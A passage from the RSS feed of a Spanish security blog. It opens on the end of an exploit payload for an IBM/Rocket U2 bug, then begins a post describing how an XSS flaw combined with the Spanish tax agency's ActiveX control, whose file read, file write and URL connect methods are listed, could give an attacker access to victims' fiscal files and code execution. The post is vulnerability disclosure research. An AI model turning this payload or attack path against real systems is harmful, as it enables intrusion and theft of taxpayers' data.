&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;<span class="es0">\x</span>02<span class="es0">\x</span>0d<span class="es0">\x</span>0e<span class="es0">\x</span>0f&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;<span class="es0">\x</span>00<span class="es0">\x</span>00<span class="es0">\x</span>00<span class="es0">\x</span>00&quot;</span> &nbsp;<span class="co1"># check 1</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;A&quot;</span>*0&#215;20<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+whatever<br />
&nbsp;</div>
<p>Lo curioso de este caso es que IBM vendió esta rama de productos a la empresa Rocket. Estos por tanto heredaron el bug que todavía no había sido parcheado. Finalmente, hoy ha sido liberado el parche y el advisory de ZDI. El tiempo transcurrido entre una cosa y otra ha sido de casi 3 años. Yeah.</p>
<p>La historia de esta rama de productos la podéis leer en Wikipedia <a href="http://en.wikipedia.org/wiki/Rocket_U2">http://en.wikipedia.org/wiki/Rocket_U2</a></p>
<p>ZDI Advisory <a href="http://www.zerodayinitiative.com/advisories/ZDI-10-294/">http://www.zerodayinitiative.com/advisories/ZDI-10-294/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/12/24/el-ciclo-de-vida-de-un-fallo/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Weaponized XSS &#8211; El caso de la Agencia Tributaria.</title>
		<link>http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/</link>
		<comments>http://blog.48bits.com/2010/08/03/weaponized-xss-el-caso-de-la-agencia-tributaria/#comments</comments>
		<pubDate>Tue, 03 Aug 2010 17:59:48 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[48Bits exploits]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1472</guid>
		<description><![CDATA[Estamos acostumbrados a los típicos efectos que puede tener un XSS, sin embargo hay veces que se puede ir más allá de un robo de credenciales etc&#8230;Podemos llegar incluso a la ejecución de código. El modo en que funciona la arquitectura de los ActiveX y sus métodos de securización, muy ligados al dominio dentro del [...]]]></description>
			<content:encoded><![CDATA[<p>Estamos acostumbrados a los típicos efectos que puede tener un XSS, sin embargo hay veces que se puede ir más allá de un robo de credenciales etc&#8230;Podemos llegar incluso a la ejecución de código.</p>
<p>El modo en que funciona la arquitectura de los ActiveX y sus métodos de securización, muy ligados al dominio dentro del cual se está instanciando, hacen del XSS un vector de ataque muy potente. Esto lo demostré en la pasada RootedCon, donde un fallo de diseño permitía controlar por completo una máquina usando un ataque XSS en conjunto con métodos potencialmente inseguros en un ActiveX. Es conveniente recordar las <a href="https://docs.google.com/viewer?url=http://www.wintercore.com/downloads/rootedcon_0day_english.pdf">slides</a>para entender mejor este post.</p>
<p>Hoy, vamos a hablar de un fallo del mismo tipo en la arquitectura de la Agencia Tributaria española.</p>
<p>El escenario del ataque sería aquel donde la víctima pincha, por el medio que sea, un enlace especialmente creado. Una explotación exitosa acarrearía la posibilidad de que el atacante obtuviera acceso a los datos fiscales, facturas u otros ficheros de la víctima, pudiera modificarlos e incluso ejecutar código.</p>
<blockquote><p>Disclaimer.<br />
Quiero dejar claro, para que nadie piense nada raro, que a mí sólo me interesa lo que se ejecuta en mi ordenador. No he tocado ningún servidor de la AEAT, ni ganas tengo. Recordar así mismo que un XSS se ejecuta en el lado cliente. Si por obligación se me conmina a instalar un ActiveX quiero saber por qué, qué hace y si esto supone un riesgo para la seguridad de mis equipos.No me hago responsable de ninguna manera del mal uso que pueda darse a esta información. Hasta donde considero mi obligación como researcher, he cumplido.</p></blockquote>
<p>Dicho esto, al lío&#8230;<br />
<span id="more-1472"></span><br />
<a href="http://blog.48bits.com/wp-content/uploads/2010/08/weapon.png"><img src="http://blog.48bits.com/wp-content/uploads/2010/08/weapon-300x225.png" alt="" title="weapon" width="600" height="450" class="aligncenter size-medium wp-image-1473" /></a></p>
<p>Si entrar en más detalles ya que es algo totalmente <a href="http://msdn.microsoft.com/en-us/library/dd433050(VS.85).aspx">documentado</a>, como contábamos antes, a la hora de instanciar los ActiveX Microsoft ofrece algunas medidas que permiten controlar quién puede &#8220;jugar&#8221; con ellos y quien no. Si se informará al usuario antes de ejecutarlos, desde qué dominios pueden ejecutarse etc. IObjectSafety,  via claves en el registro (AllowedDomains), sin contar con los métodos propietarios que use cada ActiveX para asegurar que quien está accediendo a sus métodos procede de un lugar realmente legítimo</p>
<p>En el caso de la Agencia Tributaria, los que hayais usado el PADRE para descargar los datos fiscales os acordareís que os mandaron instalar un ActiveX para este propósito. Este mismo activeX es instalado a la hora de realizar las declaraciones telemáticas de IVA que <strong>todas</strong> las sociedad tienen que presentar <strong>obligatoriamente</strong>, a través de internet.</p>
<p>Veamos qué metodos expone:</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; interface IAeatCtl : IDispatch <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000001<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method BAS64&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT BAS64<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR input, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* result<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000002<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method DECODEBASE64&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DECODEBASE64<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR input, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* result<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000003<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method LEEDI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT LEEDI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR bloqueo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000004<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method HASH&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT HASH<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR algoritmo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000005<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method LEEFI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT LEEFI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR modo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR crlf, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR extension, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* contenido<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000006<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GRABATXT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GRABATXT<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR ruta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR modo<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000007<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FIRMAR&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FIRMAR<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR ca, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR datos_mostrados, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR cadenaCompleta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR nif, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000008<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method EXISTE&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT EXISTE<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000009<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method FILEDIALOG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT FILEDIALOG<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR extension, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* fichero<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000a<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method DIALOGO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DIALOGO<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR estado, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR boton<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000b<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GETSUBJECT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GETSUBJECT<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* subject<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000c<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method LEEBI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT LEEBI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR fichero, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR codificacion, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR extension, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* contenido<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000d<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property HASHBI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT HASHBI<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000000e<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property TAMBINARIO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT TAMBINARIO<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">long</span>* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000012<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method CONECTAR&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT CONECTAR<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR url, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR appData, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR modo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">long</span> tiempoMaximo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000013<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method GRABABI&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT GRABABI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR ruta, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR codificacion, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR datos<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000014<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property NOLOG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT NOLOG<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000014<span class="br0">&#41;</span>, propput, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property NOLOG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT NOLOG<span class="br0">&#40;</span><span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR pVal<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000015<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method DIRDIALOG&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DIRDIALOG<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* directorio<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000016<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method ELEGIR_CERT&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ELEGIR_CERT<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in, optional<span class="br0">&#93;</span> BSTR ca, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* certificado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000017<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;method EXISTEDIR&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT EXISTEDIR<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR directorio, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> BSTR* resultado<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0&#215;00000018<span class="br0">&#41;</span>, helpstring<span class="br0">&#40;</span><span class="st0">&quot;Abre un cuadro de dialogo en el que se muestra un Avi.&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT ABRIRAVI<span class="br0">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> numb, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR titulo, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> BSTR texto, <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>in<span class="br0">&#93;</span> <span class="kw4">int</span> rango<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#91;</span>id<span class="br0">&#40;</span>0x0000001a<span class="br0">&#41;</span>, propget, helpstring<span class="br0">&#40;</span><span class="st0">&quot;property DIALOGO_CANCELADO&quot;</span><span class="br0">&#41;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; HRESULT DIALOGO_CANCELADO<span class="br0">&#40;</span><span class="br0">&#91;</span>out, retval<span class="br0">&#93;</span> <span class="kw4">short</span>* pVal<span class="br0">&#41;</span>;<br />
